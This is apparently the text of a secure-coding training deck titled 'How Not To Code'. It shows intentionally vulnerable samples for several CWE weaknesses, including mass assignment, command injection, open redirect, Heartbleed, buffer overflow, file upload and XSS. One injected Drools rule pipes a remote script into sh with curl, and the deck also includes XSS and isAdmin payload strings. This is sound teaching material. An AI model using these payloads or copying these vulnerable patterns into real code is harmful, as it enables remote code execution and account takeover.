HOW NOT TO CODE Navneet Kumar [ Secure Coding Practice ]
HOW NOT TO CODE
Navneet Kumar
[ Secure Coding Practice ]
AGENDA✘ Security CheckList✘ Common Weakness Enumeration✘ Bluejeans CWE✘ Code Samples✘ General InSecure Coding Practice
Security CHECKLIST1.Validate Input2.Output Encoding ( Data sanitization)3.Design for security policy4.Default Deny5.Communication Security6.Adhere to principle of least privilege7.Defense in Depth8.Authorization & Authentication9.Cryptographic Practices10.Establish secure default
Common WeakNESS ENUMERATION (CWE)
Community project to catalogue software weakness and insecure
coding patterns
Mass AssignMent ( CWE-915 )
{"attr" : "isAdmin", "val" : "true" }
❏ Don’t use internal functions❏ Whitelist attributes❏ Validate input
# POST /profile/update
# {"attr" : "name", "val" : "Navneet" }
def update_profile(request, targetUser=None):
attr = request.POST.get('attr', '')
val = request.POST.get('val', '')
profile = request.user.get_profile()
profile.__setattr__(attr,val)
profile.save()
Python
OS COMMAND INJECTION ( CWE-78 )
rule "New rule"
salience 9
when
eval(true)
then
Logger logger =
Logger.getLogger("com.bluejeans.services.meetme.validators.EndpointCustomProperties");
logger.info("Injected log with value: " + System.getProperty("hibernate.connection.url"));
Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","curl -fsSL
https://sec-demo.herokuapp.com/execute.sh | sh"});
System.out.println("hacked");
end
JAVA
Remote Code Execution on Server
OS COMMAND INJECTION ( CWE-78 )
void bjnupdateAPI::installPlugin(std::string installerPath)
{
int retCode;
std::string command = "installer -pkg ";
std::string targetPath = BJN::getMacPluginBasePath();
std::string target = " -target " + targetPath;
command += installerPath + target;
retCode = system(command.c_str());
}
C++
Remote Code Execution on Client
InTEGRITY CHECK BYPASS( CWE-494 )
void bjnupdateAPI::installPlugin(std::string installerPath)
{
int retCode;
std::string command = "installer -pkg ";
std::string targetPath = BJN::getMacPluginBasePath();
std::string target = " -target " + targetPath;
if(!BJN::verifyBinaryCertificate(installerPath)) {
LOG(LS_INFO) << "installer is not signed: " << installerPath.c_str();
m_updateErrorCallback->InvokeAsync("", FB::variant_list_of(ERROR_INSTALLATION_FAILED));
return;
}
command += installerPath + target;
retCode = system(command.c_str());
}
C++
OPEN REDIRECT ( CWE-601 )
https://bluejeans.com/s/abcd => http://imdb.com
❏ Redirect only to relative path
❏ Whitelist domains❏ Validate input
# GET /s/abcd
def get(request, url_category, short_url):
urlShortener = URLShortener()
try:
redirectURL = urlShortener.get(short_url)
return HttpResponseRedirect(redirectURL)
except ObjectDoesNotExist:
return render(request , '404.html')
Python
@Path("/events/{event_id}/instance/{instanceId}/cms/{contentId}")
public Response getResource(int userid, int instanceId, int contentId) {
EventInstance eventInstance = serviceHelper
.findEventInstance(instanceId);
if (eventInstance == null) {
logger.warn("No event instance found with id:" + instanceId);
return Response.status(Status.NOT_FOUND).build();
}
if (userid == eventInstance.getScheduledEvent().getOrganizerId()) {
Map<String, Object> result = a2mRecordingClient.getResource(contentId);
return Response.ok(result, MediaType.APPLICATION_JSON).build()
} else {
return Response.status(Status.NOT_FOUND).build();
}
}
JAVA
INCORRECT Authorization ( CWE-863 )
Story of HEART BLEED BEAT
Buffer OVER-READ ( CWE-126 )
int dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned int payload_length; /* Read payload length first */ n2s(p, payload_length); pl = p; unsigned char *buffer, *response_buffer; int response; /* Allocate memory for the response. Total memory = 2 Bytes for payload_length + payload_length */ buffer = OPENSSL_malloc(2 + payload_length); response_buffer = buffer; /* Enter response length and copy payload */ s2n(payload_length, response_buffer); memcpy(response_buffer, pl, payload_length); response = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 2 + payload_length); OPENSSL_free(buffer); return r; }
C
Response buffer reads more data
HeartBLEED
Buffer OVERFLOW ( CWE-120 )
void start_connection() { struct hostent *clienthp; char hostname[MAX_LEN]; // accept client connections and process requests int clientlen = sizeof(struct sockaddr_in); int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen); if (clientsocket >= 0) { clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET); strcpy(hostname, clienthp->h_name); logOutput("Accepted client connection from host ", hostname); close(clientsocket); } close(serversocket);}
C/C++
HostName can have executable code
Buffer OVERFLOW
UNRESTRICTED FILE UPLOAD ( CWE-434 )
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
String boundary = contentType.substring(contentType.indexOf("boundary=")+9);
String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING);
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); // extract the filename
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line); bw.newLine(); bw.flush();
} }
bw.close() ; } }
JAVA
XSS ( CWE-79 )
http://facebook.com?q=<script>alert('xss')</script> Reflected
<script>
document.write("Site is at: " + document.location.href + ".");
</script>]
Dom XSS
$('div').html('welcome to' + username + 'Meeting')
//My username is saved as
userName = "<script>alert('xss')</script>"
Persistent
thanks!Any questions?